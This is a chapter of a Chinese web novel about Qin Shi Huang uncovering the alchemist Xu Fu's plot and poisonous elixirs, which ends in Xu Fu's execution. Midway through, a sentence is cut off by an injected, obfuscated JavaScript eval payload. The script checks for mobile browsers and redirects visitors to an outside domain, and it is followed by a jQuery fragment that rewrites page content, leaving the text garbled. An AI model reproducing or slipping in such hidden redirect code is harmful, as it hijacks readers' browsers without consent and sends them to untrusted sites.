14.徐福之死
作品:《在秦朝忽悠人的日子》 “通武侯,此去彭城,一路辛劳,朕特许你与手下将士们歇息三日。”
丹陛之上,嬴政一袭玄色纁裳,以手支颐,眸光掠过台下容色匆匆的王贲。
东巡到琅琊时,王贲先领着兵马前行,提前扫清接下来路程中可能会遇到的阻碍,尤其是齐地残留的匪盗,绝不能让他们惊扰始皇帝出巡。
“谢陛下体恤,臣代将士们谢陛下隆恩。”王贲叩谢君恩,随即道:“臣回琅琊途中看到了陛下传阅各县的石刻,家父在石刻中名列功臣榜第一,实是陛下厚爱。”
嬴政在琅琊勒石,石刻的内容也不全然是对大秦的歌功颂德,还有诸多为大秦立下汗马功劳的臣子们也勒名其中。
王贲的父亲王翦赫然名列功臣榜第一。
此次东巡,王翦并未随驾。一是因为年迈,二则是急流勇退。
在灭楚之战功成后,天下大势已然明朗,王翦主动隐退,以年老为由多次向嬴政请求告老还乡,只将儿子王贲和孙子王离留在朝中继续为大秦效力奋战。
嬴政几次挽留,王老将军却心意已决,如今正在频阳老家养老。王离也被王贲留在频阳老家侍候王翦,王翦来信时时常在信中嫌弃自己的孙子。
“老将军为大秦奉献了一生,立下了不朽战功。不过些许虚名,合该给老将军最好的。”虽然王翦已经隐退,嬴政也不介意给王翦更多的荣誉。
千金买马骨,他以王翦作为标杆,告诉他的臣子们,他无畏功高震主,只要有才能都尽情地倾洒,他不会忘记任何一个为大秦奉献的人,他会给每个人应得的报酬和荣誉。
六国之中,除韩国之外,皆是王家父子所灭。现如今,王翦安心荣休,王贲封侯任将军统兵,王离即将成为新一代的将星与蒙恬分庭抗礼。
如此赫赫战功的一家人,嬴政都能将其好好安待,其余人等谁会害怕功高震主?只怕功劳不够高不能封侯。
“前日底下献上了一株上好的人参,通武侯带回去给王老将军养养身体。”
王贲叩谢,神色中多了几分感动,也与嬴政话起了家常:“多谢陛下惦记,家父如今在频阳有犬子陪着,身心愉悦。离儿寄来的家书中还说家父一顿能食两碗肉。”
“甚好。”嬴政闻言也笑了,他想到什么,目光在殿中一顿搜寻,说:“朕前些日子给你找了个学生,是个难得的将才,通武侯啊通武侯,可得给朕好好培养啊。”
王家年轻一辈虽有王离展露头角,但只从行军打仗中的治军和指挥上看,王离不说和自己的大父王翦、阿父王贲比,只说和同为将门子弟的蒙恬相比较,也是有些相形见绌。
蒙恬参与过大秦一统六国的战局,他能从整体的战略高度考虑问题,他麾下的军队军纪严明,战斗力强。
所以,嬴政让他独立领军北击匈奴。
至于王离,按始皇帝的想法,王翦能灭四国,王贲能灭一国,那王离不说能灭一国,起码领军本领应该不差吧?但始皇帝曾经考较过他,结果不尽人意。
他的期望太高了。嬴政以为,王离虽然从小受家中影响,有一定的造诣,但他缺乏独立指挥的能力,在面对复杂的战局时,他难以精准把握战机。
嬴政的猜测是正确精准的。
在日后的巨鹿之战中,王离作为秦军的一路主将,与章邯一起围攻起义军。在面对项羽的猛烈反击时,王离军被击败,本人也被俘虏。
嬴政作为天才之一,很难去理解在普通人中已经算是有天赋的王离为什么没有继承王家所有的军事天赋。
就像他无法理解自己的孩子们没有一个比得上他。
他所有对政治的敏锐、对朝局的平衡、对国家框架的建构,都没有在孩子身上看见。
或许扶苏有一些,但他的缺点也同样明显。他达不到嬴政心中设立的继承人标准。
嬴政瞥向殿中值班的章邯,身姿挺拔,高大俊朗。心中莫名的哀叹少了一些,对自己的自信和天命的眷顾更加满意。
他提前发现了一位不亚于蒙恬的将才。
没错,朕是天命之子,玄鸟入梦为朕带来后世的人才,朕一定可以长生。既然可以长生,又何必在乎子嗣无法承接他的位置。
嬴政这般想着。
王贲对始皇帝给自己找了个徒弟并无多大感触,他还能拒绝不成?他看向自己身侧谢恩的青年,只从对方端正的姿势和神态就给对方加了几分。
不卑不亢,宠辱不惊。
王贲暗地点点头,不错,看着是个好苗子。
有内侍迈着既轻且快的步子进来,在嬴政耳边说了些什么。
王贲察言观色,正欲告退。
嬴政一挥手阻止了,他淡淡道:“不是什么大事,通武侯也一起听吧。”
蒙毅自殿外前来,行了一礼,不意王贲也在场。
嬴政没什么反应,蒙毅据实禀报:“陛下,胶东郡有三位县令未按旨意立石刻碑,颂琅琊石刻。”
“他们知道朕的旨意而不做?”
“是。”蒙毅皱着眉头,心中也是愤懑:“他们被拿下时,臣的人在书房中找到了陛下传阅诸县的奏章,显而易见已经看过,只是心存侥幸,以为不会被惩处。”
“现在是大秦而非齐,冥顽不灵。”嬴政冷冷道:“既然如此,按律枭首示众。”
蒙毅应下,随后看了看在场众人,没有开口。
王贲和章邯闻弦琴而知雅意,知道接下来的内容不方便听,不等始皇帝开口,默默退下。
“什么事,连王贲也不能听?”嬴政自丹陛之上缓步走下,停在蒙毅面前,高大的身形几乎将蒙毅笼罩。
说来蒙毅在秦人中已经算很高了,但始皇帝站起身时比他更高。
“事关陛下声誉,不可轻忽。”蒙毅想起手下人汇报的言语,皱了皱眉,逐一向始皇帝禀报:“臣负责徐福的出海事宜。近日忙于琅琊郡守后续事宜,前日他来催促臣,只说良辰吉日就在今日,要臣速速将人、钱、船交予他。徐福既无陛下手令又无旨意,臣心中大感不惑,他缘何如此急切?”
蒙毅是嬴政亲近的侍臣,嬴政几乎可以说是看着他成长,很少见到蒙毅脸上有如此丰富的表情。嬴政被勾起了兴趣,徐福做了什么?
大殿之中只有蒙毅的声音。
“臣有罪,在徐福接触陛下时因是中车府令举荐而未曾查清徐福的来历。臣派遣的人暗中跟随徐福,发现他的宅邸之中另藏玄机,底下有地道通往别处。臣跟了他几日,终于找到他的马脚。原来徐福暗地与六国余孽勾结,企图复现郑国渠一事。”
赵高身为内官,并未离开,在一旁听得冷汗直流。他麻利地滑跪,在心里暗骂保举徐福给他之人,没忘记也骂蒙毅两句。揭穿徐福就揭穿,怎么还带给他上眼药?
什么叫“因是中车府令举荐而未曾查清徐福的来历”。
蒙毅嫌他当时没死是吗?
“郑国渠?”嬴政没在意徐福是谁举荐,只是真的被这些人的想法逗笑了。
当年韩国献上水利专家郑国到秦国修水渠意图疲秦,减缓秦国向东推进的速度,秦国建成郑国渠后,实力反而增强了。
六国中最先被灭的反倒是韩国......
虽然最大的原因是韩国地处秦国东出的必经之地,实力也是六国中最弱的。但很难没有报复一下的心思在里面。
拿徐福来跟郑国渠相比,一个是造福关中八百里秦川的水利工程,一个是求仙问道不知真假的方士,纵然嬴政此时心中对徐福和方仙道有不少好感,也觉得这些人真是不知所谓。
嬴政见蒙毅表情欲言又止,似乎接下来的话很难开口,直接道:“还有什么?一并说了吧。”
蒙毅艰涩道:“都是些不堪入耳,辱骂诋毁陛下和大秦的话,臣难以开口。”
“朕什么没听过?想来也不过是些让朕心情不愉的话。”嬴政一哂,这些年他都被骂过什么?独夫?暴君?
不过是失败者的无能狂怒罢了。
“六国余孽伺机抓起来,不能有漏网之鱼。”嬴政向前踱步,留给蒙毅一个宽阔的背影:“至于徐福......”
嬴政心里对徐福所描绘的三神山还有所期待,蒙毅听到此处,对始皇帝的态度也心知肚明了。
他也回道:“那臣安排人手穿插进出海的船队当中,若徐福有异动,即刻拿下。”
三千童男童女和百工的家人都在岸上,倒也不怕他们就此叛逃。
嬴政未曾定下对徐福的惩处,归根结底,只不是对他口中的不死药尚有期望。
是夜星光大亮,玄鸟再度入梦。
始皇帝在玄鸟燃烧着明红火光的尾羽中,得以窥见几年后发生的事情。
始皇帝看见了自己。
在浩瀚如烟的波涛中,他伫立在琅琊台,远眺着远处。他又老了几岁,鬓角爬上斑驳的灰白,皮肤也有了皱纹,唯有一双眼不变,依旧如同盯紧猎物般的鹰隼专注、凶狠。
远处的海平线上出现一个小点,一艘楼船静默地出现在海面,映入始皇帝的眼帘。
也许是在梦中,他的目力极佳,那么远的距离,他竟然也能瞧见楼船上的人。
是徐福。
与现在的徐福相比,许是因为海上风吹日晒,楼船上的徐福变得黑了。
梦中的时间很不讲道理,前一刻徐福还远在遥远的海平线上,下一刻他就已经跪在“自己”面前。
他听见徐福对“自己”声泪俱下地哭诉海上的风波险峻,说三艘楼船两艘撞上了海中潜藏的巨蛟,人船俱没于海中。
徐福将所有责任推卸给海中蛟鱼。
他暗示已经有了老态的始皇帝,只要配备强弩射手杀死阻拦船只航行的蛟鱼,他定能前往三神山,为始皇帝取得不死药。
徐福的语气极尽煽动。
嬴政了解自己,他看见始皇帝眼中对徐福的怀疑,也看到了始皇帝脸上的红疮,“自己”似乎是累了,揉了揉额角,抬起的手臂不自觉地战栗。
“自己”还是老了啊。
无论如何,徐福不会死了。尽管“自己”对徐福多年未果产生怀疑,但对长生的渴望压到了一切。
果不其然,“自己”赦免了徐福,再次给他备齐了五谷、百工。
常言道当局者迷旁观者清。
嬴政第一次作为旁观者跳出方士给自己画的圈去审视对方,他能看见徐福对权势的恐惧、渴望和贪婪。也能看见自己对长生的渴求,以至于忽略徐福话中的矛盾、前后不一。
徐福这个废物,三艘楼船、三千童男童女、五谷种子、百工和无数的金银财宝给他真是浪费了!
连不死药的边儿都没摸到。
嬴政看见梦中的“自己”下令射杀了海上蛟鱼,徐福带着新的大礼包驶向未知的海域。
嬴政开始思考,第一次出海寻求不死药,徐福失败的原因是什么。此次梦境是否也是玄鸟对他的警示?看来他要提前出海射杀拦路蛟鱼?还是要扣押徐福亲族,派遣监军随行,规定时日内徐福若无法返航则夷三族?
嬴政会放弃通过出海寻找三神山中潜藏着的不死药吗?
当然不会。
他只会觉得是徐福无缘寻到不死药,要换一个得道的方士出海。
他是偌大帝国的主人,用帝国财富中微小的一缕去换取一个可能长生的希望,在他看来是值得的。
即便那微小的一缕在很多人眼中看起来是劳民伤财。
嬴政只是想不明白,为何“自己”看起来面色苍白、乏力,说几句话就要歇息。仿佛呼吸已经有些困难了。
玄鸟的羽翼泛着斑斓的玄黑,尾羽处燃烧着火光。
无端让嬴政想起涅槃的凤凰。
玄鸟飞入更远更深的天际,那是西南的方向。
嬴政知道,梦要结束了。
-
夏无且的兔子病死了。
他神色凝重,提笔在布帛上记录着什么。
院里一共养了三十多只兔子,被夏无且分做四笼。甲笼里的兔子专喂从徐福那儿坑来的丹药,乙笼的兔子喂其余方士的丹药,丙笼两个都喂,丁笼正常喂养。
现下,甲笼的兔子流涎呕吐抽搐,奄奄一息地趴在笼中。乙笼的兔子体温异常、腹泻严重。
至于丙笼的兔子,因为两种丹药都喂,它们受到的损伤显然更大,已经有兔子死了,被夏无且拎出来放到一旁。还活着的也肉眼可见的萎靡不振,身体部位的脓疮溃烂,连笼中的干草蔬果都不再吃了。
丁笼的兔子倒是活蹦乱跳,夏无且看在眼里,想到什么丹药都吃点的始皇帝,神色变得复杂,忽然记录不下去,头也开始痛了。
兔子只喂了几日丹药尚且奄奄一息,始皇帝不仅吃徐福给的丹药,豢养的方士炼制出了什么金丹也会献上。虽然有试毒的内侍,但始皇帝年岁上来后可是日日吃丹药啊。
曾经年少有为恃才傲物的帝王怎么会被方士坑蒙拐骗到这个地步。
夏无且无奈,只能说人还没被骗只是因为没有遇到适合自己的骗局。他们身为旁观者当然可以不痛不痒,但局中人很难清醒地从骗局中走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490305|169114||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出。方士们精准地抓住始皇帝的痛点,同样的话术只要始皇帝还信,用上千百遍也能从始皇帝身上捞到无穷无尽的好处。
始皇帝一直以来都比较忌讳谈论死生之事。他是一个强势的君王,所以年过四十臣下也不敢向他提立储之事。
始皇帝也曾问过夏无且如何延年益寿,夏无且只答曰先减案牍之劳形,使形神俱松,再辅以通经活络之术健体。
两人心知肚明,光是第一点始皇帝就做不到。
他对权势的掌控欲强烈,事事亲力亲为,所以才会有一日阅奏章一石的勤政名声。对于权力,他仿佛永远不会疲惫。
夏无且叹了口气,认命地继续将自己观察的结果继续记录下去。
始皇帝对自己认可范围的人太好了。从荆轲刺秦后,他时时赏赐夏无且,不光是赐金银宅子。夏无且觉得自己医术不够精湛,始皇帝会下令给搜罗他孤本医书,每次听闻某地有名医现世,还会给夏无且休假,派人护送他与名医交流。
始皇帝对他不可谓不用心,夏无且自己扪心自问,难回报一二。
所以在发觉始皇帝开始吃丹药的时候,夏无且心里焦急不已。
说服一个强势的、有自己的想法且犟种的君王是非常难的。夏无且思索再三,决定用数据案例说话。
不求始皇帝信他,只希望他能有所警觉,对方士的丹药保持警惕。
夏无且将布帛收入袖中,望向始皇帝居所的方向,神色坚毅。
-
嬴政接过夏无且献上的布帛,越看脸色越难看。
他不由得将自己代入了夏无且布帛记录中的兔子。
初时,服下丹药的兔子会在笼中兴奋地蹦跳,吵得旁边笼的兔子不能入睡。
他着重将视线放在了丙笼兔子上,对着记录看了一遍又一遍。
他想起了玄鸟梦中的“自己”。
那个面色苍白、脸上生红疮,看起来虚弱乏力的“自己”。
起初还以为是因为年迈身体疲弱,现在想来,竟然全是服食丹药过多的后果!
白日里蒙毅说的“郑国渠”、“疲秦之计”历历在耳,嬴政只觉一股怒气涌上心头,他抓紧了布帛,猛然站起身,冷笑一声:“来人!”
所谓郑国渠还只是疲秦,徐福等方士可是要他的命!
宫廷值守的卫尉军出列,披坚执锐,整齐划一。
“即刻将徐福及其亲眷、同党抓起来。勾结六国余孽,给朕下毒,以谋逆论,严惩不贷。”嬴政眉宇之间笼罩着一股肃杀之气,寒声道:“赵高举荐徐福,黜落。宫中方士也一并下狱惩处。”
夏无且神色震动,显然没想到自己的举动会带来一连串的动作。他几乎可以想见,琅琊只怕要被徐福及其亲族的血淹没了。
在大秦的土地上,嬴政的命令就是最高的指示。在夏无且尚且怔愣,为始皇帝的反应感到不可思议,还在思索为何这次就如此信赖自己。
夏无且两眼放空,不住地想哪里不太对劲。正常的流程不应该是他献上布帛,始皇帝不以为然,他苦口婆心,始皇帝听得厌烦,他心灰意冷,始皇帝依旧自我吗?
怎么是哪个流程走错了,忽然间就拐向另一个方向。
诶诶?
嬴政看着懵逼的夏无且,感慨万千,他身边有徐福这样的小人,也有蒙毅、夏无且这样赤忱相待的人。
“无且爱我啊!”嬴政握住夏无且的手,流水般地赏赐了他,随后直白问道:“无且,朕服用丹药多时,快给朕看看。”
在夏无且给始皇帝诊治时,卫尉军的铁蹄已经踏破徐福家门,将他的亲眷和交好的官僚抓了起来。
被抓之时,徐福还搬出始皇帝的名头,企图将卫尉军的首领威慑住。
为首的卫尉军不为所动,将人捆了放在马背后,疾驰离去。
今日并非蒙毅值守,但他住得近,宫殿中卫尉军拿人的动作太大,蒙毅以为出了什么大事,忙换上官服觐见始皇帝。
甫一入殿,就对上了一双沉静幽深的眼眸。
蒙毅为之一怔,正欲行礼,只听一阵脚步声传来,伴随着几声尖利的呼喝。
再一回神,卫尉已经将徐福扭送到始皇帝座前跪下。
“陛下!你不想要不死药了吗?如此待我神山再难寻啊陛下!”徐福没了往日仙风道骨,见始皇帝无动于衷,他动之以情晓之以理:“陛下,不死药就在神山之中。楼船不是已经在海边了吗?百工、童男童女都已然备好,我可以马上就出发,为陛下求得不死药,只求陛下不要伤害我的家人。陛下!”
嬴政抬手揉了揉太阳穴,神情漠然。
徐福不明白到底发生了什么,为什么答应得好好的始皇帝翻脸不认人了。他又说了许多关于蓬莱神山的密语,已经顾不得许多了。
嬴政神色一动。
徐福以为有戏,思及始皇帝对丹药的沉迷,他加大筹码:“陛下,这几日我以云母粉、首乌藤、丹砂在每日月光最盛之时为陛下炼制了新的丹药,陛下要试试吗?”
夏无且默不作声,在心中摇摇头。
徐福,你有取死之道。
只见嬴政面含肃杀之意,寒声道:“既然徐仙师喜欢丹药,那徐仙师一日吃三粒丹药。且看仙师何日早登极乐。”
徐福浑身一僵。
猛然意识到什么,他才发现宫殿内还站着一个人——夏无且。
此前,夏无且才在宫道上拦住他,要了他的丹药。
今日,始皇帝对他的丹药明显表现出憎恶。
慌乱之中,他甚至不知道自己从哪一步开始露了马脚,他懂医理,也懂炼丹,只在丹药里放了剂量微小的毒。常人试吃根本不会有事。
阴差阳错,时也命也。
他不知道夏无且发现的不是他下的毒,而是丹药本身自带的丹毒,
徐福的身体软了下去,虚弱道:“我隐藏得那么好,你怎么发现的?”
嬴政没兴趣听他的辩驳和自陈:“带下去,其余人等,赐死。”
蒙毅适时上前:“陛下,徐福府邸中地道通向的宅子已经被查处,六国中人已被一网打尽。”
绝望将徐福淹没,被带下去前,他耳边传来高高在上帝王冷漠的声音。
“杀了。”
原来还有蒙毅啊。
他听见蒙毅问楼船、童男童女如何处置,嬴政说将楼船中的金银散与他们......
再多的,他就听不到了。
所有酷烈的杀意都与他无关了。
他死定了。